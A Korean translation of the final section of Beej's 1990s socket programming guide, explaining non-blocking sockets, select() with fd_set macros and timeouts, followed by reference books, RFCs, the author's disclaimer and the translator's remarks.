많은 함수들이 블로킹이 된다. accept()는 블록이 된다. recv*()종류들이 모두 블록이 된다. 그들이 이렇게 할 수 있는 이유는 그렇게 할 수 있도록 허락을 받았기 때문이다. 처음에 socket()으로 소켓이 만들어질때 커널이 블록 가능하도록 세팅을 했기 때문이다. 만일 블록할수 없도록 세팅하려면 fcntl()을 사용한다.

    #include <unistd.h>     #include <fcntl.h>     .    .    sockfd = socket(AF_INET, SOCK_STREAM, 0);    fcntl(sockfd, F_SETFL, O_NONBLOCK);    .    .

소켓을 블록할수 없도록 세팅함으로써 정보를 추출하는 데에 효과적으로 socket을 이용할 수 있다. 만일 데이터가 접수되지 않은 소켓에서 데이터를 읽으려고 시도한다면 -1을 결과로 돌려주고 errno를 EWOULDBLOCK 으로 세팅하게 된다.

일반적으로는 이런 식으로 정보를 뽑아 내는 것은 별로 좋은 방식은 아니다. 만일 들어오는 데이터를 감시하기 위하여 이런 방식으로 바쁘게 데이터를 찾는 루틴을 만든다면 이는 CPU 시간을 소모하게 되는 것이다. 구식이다. 보다 멋진 방법은 다음절에 나오는 select()를 사용하여 데이터를 기다리는 식이다.


select() ; 동기화된 중복 입출력. 대단하군!

이건 뭔가 좀 이상한 함수이다. 그러나 상당히 유용하므로 잘 읽어보기 바란다. 다음 상황을 가정해 보자. 지금 서버를 돌리고 있으며 이미 연결된 소켓에서 데이터가 들어오는 것을 기다리고 있다고 하자.

문제없지, 그냥 accept()하고 recv()몇개면 될텐데.. 서둘지 말지어다, 친구. 만일 accept()에서 블로킹이 된다면? 동시에 어떻게 recv()를 쓸 것인가? 블로킹 못하게 세팅한다고? CPU시간을 낭비하지 말라니까. 그러면 어떻게?

더이상 떠들지 말고 다음을 보여주겠다.

       #include <sys/time.h>        #include <sys/types.h>        #include <unistd.h>        int select(int numfds, fd_set *readfds, fd_set *writefds,                  fd_set *exceptfds, struct timeval *timeout);

이 함수는 화일 기술자의 "집합", 특별히 readfds,writefds,exceptfds등을 관리한다. 만일 일반적인 입력이나 소켓 기술자로부터 읽어 들일수 있는가를 확인하려면 단지 화일 기술자 0과 sockfd를 readfds에 더해주기만 하면 된다. numfds는 가장 높은 파일 기술자에다가 1을 더해서 지정해야 하며 이번 예제에서는 정규 입력의 0보다 확실히 크게 하기 위해서 sockfd+1 을 지정해야 한다.

select()의 결과값이 나올때 readfs는 선택한 파일 기술자 중에 어떤 것이 읽기 가능한가를 반영할 수 있도록 수정되며 FD_ISSET() 매크로를 이용하여 체크할 수 있다.

너무 멀리 나가기 전에 이 "집합"들을 어떻게 관리하는 가에 대해서 얘기를 해야 할것 같다. 각각의 "집합"은 fd_set형이며 다음의 매크로들로 이를 제어할 수 있다.

  • FD_ZERO(fd_set *set) - 파일기술자 집합을 소거한다.
  • FD_SET(int fd, fd_set *set) - fd 를 set에 더해준다.
  • FD_CLR(int fd, fd_set *set) - fd 를 set에서 빼준다.
  • FD_ISSET(int fd, fd_set *set) - fd가 set안에 있는지 확인한다.

끝으로 이 수상한 struct timeval은 또 무엇인가? 아마도 누군가가 어떤 데이터를 보내는 것을 무한정 기다리기를 원치는 않을 것이다. 특정시간마다 아무일도 안 벌어지더라도 "현재 진행중..."이라는 메시지를 터미널에 출력시키기라도 원할 것이다. 이 구조체는 그 시간간격을 정의하기 위해서 사용되는 것이다. 이 시간이 초과되고 그 때까지 select()가 아무런 변화를 감지하지 못한 경우라면 결과를 돌려주고 다음 작업을 진행 할수 있도록 해준다.

struct timeval의 구조는 다음과 같다.

    struct timeval {        int tv_sec;     /* seconds */        int tv_usec;    /* microseconds */    };

기다릴 시간의 초를 지정하려면 그냥 tv_sec에 지정하면 된다. tv_usec에는 마이크로 초를 지정한다. 밀리초가 아니고 마이크로초이다. 마이크로초는 백만분의 일초이다. 그런데 왜 usec인가? u는 그리스 문자의 Mu를 닮았고 이는 마이크로를 의미하는데 사용된다. 함수가 끝날때 timeout에 남은 시간이 기록될수도 있으며 이 내용은 유닉스마다 다르기는 하다.

와우~ 마이크로 초 단위의 타이머를 가지게 되었군! 만일 timeval에 필드들을 0으로 채우면 select()는 즉시 결과를 돌려주며 현재 set들의 내용을 즉시 알려주게 된다. timeout을 NULL로 세팅하면 결코 끝나지 않고 계속 파일 기술자가 준비되는 것을 기다리게 되며 끝으로 특정한 set에 변화에 관심이 없다면 그 항목을 NULL로 지정하면 된다.

다음은 정규 입력에 무언가 나타날때까지 2.5초를 기다리는 코드이다.

       #include <sys/time.h>        #include <sys/types.h>        #include <unistd.h>        #define STDIN 0  /* file descriptor for standard input */       main()       {           struct timeval tv;           fd_set readfds;           tv.tv_sec = 2;           tv.tv_usec = 500000;           FD_ZERO(&readfds);           FD_SET(STDIN, &readfds);           /* don't care about writefds and exceptfds: */           select(STDIN+1, &readfds, NULL, NULL, &tv);           if (FD_ISSET(STDIN, &readfds))               printf("A key was pressed!\n");           else               printf("Timed out.\n");       }

만일 한줄씩 버퍼링하는 터미널이라면 엔터키를 치지 않는 이상은 그냥 타임아웃에 걸릴것이다.

이제 아마도 이 훌륭한 방법을 데이터그램 소켓에서 데이터를 기다리는 데에 사용할수 있으리라고 생각할 것이다. 맞다. 그럴 수도 있다. 어떤 유닉스에서는 이 방법이 되지만 안되는 것도 있다. 하고자 하는 내용에 대해서는 아마도 맨페이지를 참조해야 할 것이다.

select()에 관한 마지막 얘기는 listen()이 된 소켓이 있다면 이 방법을 이용하여 소켓 기술자를 readfds에 첨가하는 방식으로 새로운 연결이 있었는가를 확인할 수도 있다는 것이다.

이것이 select()에 대한 짧은 검토였다.

참고사항

여기까지 와서는 아마 좀더 새로운 다른 것은 없는가 할것이다. 또 어디서 다른 무언가를 더 찾을수 있는가를 알고자 할것이다.

초보자라면 다음의 맨페이지를 참고하는 것도 좋다.

다음 책들도 도움이 될것이다. books:
Internetworking with TCP/IP, volumes I-III
by Douglas E. Comer and David L. Stevens.
Published by Prentice Hall.
Second edition ISBNs: 0-13-468505-9, 0-13-472242-6, 0-13-474222-2.
There is a third edition of this set which covers IPv6 and IP over ATM.

Using C on the UNIX System
by David A. Curry.
Published by O'Reilly & Associates, Inc.
ISBN 0-937175-23-4.

TCP/IP Network Administration
by Craig Hunt.
Published by O'Reilly & Associates, Inc.
ISBN 0-937175-82-X.

TCP/IP Illustrated, volumes 1-3
by W. Richard Stevens and Gary R. Wright.
Published by Addison Wesley.
ISBNs: 0-201-63346-9, 0-201-63354-X, 0-201-63495-3.

Unix Network Programming
by W. Richard Stevens.
Published by Prentice Hall.
ISBN 0-13-949876-1.

웹상에는 다음과 같은 것들이 있을것이다.
BSD Sockets: A Quick And Dirty Primer (http://www.cs.umn.edu/~bentlema/unix/--has other great Unix system programming info, too!)

Client-Server Computing (http://pandonia.canberra.edu.au/ClientServer/socket.html)

Intro to TCP/IP (gopher) (gopher://gopher-chem.ucdavis.edu/11/Index/Internet_aw/Intro_the_Internet/intro.to.ip/)

Internet Protocol Frequently Asked Questions (France) (http://web.cnam.fr/Network/TCP-IP/)

The Unix Socket FAQ (http://www.ibrado.com/sock-faq/)

끔찍하지만..RFC도 봐야 하겠다.
RFC-768 -- The User Datagram Protocol (UDP) (ftp://nic.ddn.mil/rfc/rfc768.txt)

RFC-791 -- The Internet Protocol (IP) (ftp://nic.ddn.mil/rfc/rfc791.txt)

RFC-793 -- The Transmission Control Protocol (TCP) (ftp://nic.ddn.mil/rfc/rfc793.txt)

RFC-854 -- The Telnet Protocol (ftp://nic.ddn.mil/rfc/rfc854.txt)

RFC-951 -- The Bootstrap Protocol (BOOTP) (ftp://nic.ddn.mil/rfc/rfc951.txt)

RFC-1350 -- The Trivial File Transfer Protocol (TFTP) (ftp://nic.ddn.mil/rfc/rfc1350.txt)


주의사항 및 연락처

이상이 전부이며 문서상에서 크게 틀린 곳이 없기만을 바랄 뿐이다. 하지만 실수는 항상 있는 법이다.

만약 실수가 있다면 부정확한 정보를 주어 헷갈리게 만듯것에 대하여 사과하지만 사실상 나한테 책임을 물을수는 없다. 이 얘기는 법적인 경고이며 사실상 이 모든 글들이 몽땅 거짓말 일수도 있는 것이다.

그래도 설마 그렇지는 않을 것이다. 사실 난 이 모든것들 때문에 상당히 많은 시간을 소모했고 윈도우용 TCP/IP네트워크 유틸리티(예를 들어 텔넷등)을 방학숙제로 했었다. 난 소켓의 신이 아니라 그냥 보통 사람일 뿐이다.

그건 그렇고 생산적인 (혹은 파괴적이라도) 비평이 있는 분은 beej@ecst.csuchico.edu 앞으로 메일을 주기 바란다. 참고하여 고쳐나가도록 노력을 해 보겠다.

왜 이 일을 했는가 궁금하다면, 돈벌려고 했다. 하하~ 사실은 아니고 많은 사람들이 소켓에 관련된 질문을 해 대는 바람에 그들에게 이 내용을 웹에 올리려고 생각중이라고 말했더니 "바로 그거야~"라고들 해서 썼다. 아무리 고생해서 얻은 정보라도 만일 다른 사람과 공유하지 않는다면 쓰레기일 뿐이라고 생각한다. WWW는 바로 적당한 수단이 된 것 뿐이다. 다른 사람도 이런 정보의 제공이 가능하다면 이렇게 해주길 바란다.

끝났다. 프로그램이나 짜러가자. ;-)

번역한 사람의 말: 우연히 이 글을 발견하게 되어 번역을 하고 보니 나름대로 가치가 있어 보여서 홈페이지에 올려 놓았습니다. 번역상의 실수가 있었다면 사과드리며 지적해 주신다면 고쳐 나가겠습니다. 좋은 프로그램을 만드는데에 이 글이 작으나마 도움이 되길 바랍니다.


Copyright © 1995, 1996 by Brian "Beej" Hall. This guide may be reprinted in any medium provided that its content is not altered, it is presented in its entirety, and this copyright notice remains intact. Contact beej@ecst.csuchico.edu for more information. 좋은 내용의 글을작성하고 한글판 번역을 허락해준 원작자에게 감사하며 번역자로서의 모든권리는 읽어주신 분들께 드리겠습니다. 번역상의 실수나 생산적인 지적은 tempter@fourthline.com 으로 보내주시면 되겠습니다. 감사합니다.

+ Recent posts